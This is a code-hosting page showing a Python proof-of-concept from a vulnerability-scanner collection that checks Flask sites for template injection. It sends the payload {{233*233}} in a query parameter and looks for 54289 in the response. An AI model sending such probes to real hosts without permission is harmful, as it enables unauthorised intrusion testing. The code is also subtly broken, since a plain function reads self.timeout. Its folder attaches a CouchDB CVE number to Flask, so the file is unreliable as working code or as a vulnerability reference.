Files
BLEN/poc/Flask_Ssti_CVE-2017-12636/poc.py
openx-org 53a7640bd8 2.23.9
2022-03-25 18:08:13 +08:00

59 lines
2.0 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# coding:utf-8
import requests
from lib.core.common import url_handle,get_random_ua
# ...
import urllib3
urllib3.disable_warnings()
_info = {
"author" : "", # POC作者
"version" : "1", # POC版本默认是1
"CreateDate" : "2021-06-09", # POC创建时间
"UpdateDate" : "2021-06-09", # POC创建时间
"PocDesc" : """
该POC不具备使用价值请忽略
""", # POC描述写更新描述没有就不写
"name" : "Flask 模板注入", # 漏洞名称
"AppName" : "Flask", # 漏洞应用名称
"AppVersion" : "", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天格式xxxx-xx-xx
"VulnDesc" : """
""", # 漏洞简要描述
"fofa-dork":"", # fofa搜索语句
"example" : "", # 存在漏洞的演示url写一个就可以了
"exp_img" : "", # 先不管
"timeout" : 10, # 超时设定
}
def verify(host,proxy):
"""
返回vuln
存在漏洞vuln = [True,html_source] # html_source就是页面源码
不存在漏洞vuln = [False,""]
"""
vuln = [False,""]
url = url_handle(host) + "/?name={{233*233}}" # url自己按需调整
headers = {"User-Agent":get_random_ua(),
"Connection":"close",
# "Content-Type": "application/x-www-form-urlencoded",
}
try:
"""
检测逻辑漏洞存在则修改vuln值漏洞不存在则不动
"""
req = requests.get(url,headers = headers , proxies = proxy ,timeout = self.timeout,verify = False)
if req.status_code == 200 and "54289" in req.text:
vuln = [True,req.text]
else:
vuln = [False,req.text]
except Exception as e:
raise e
return vuln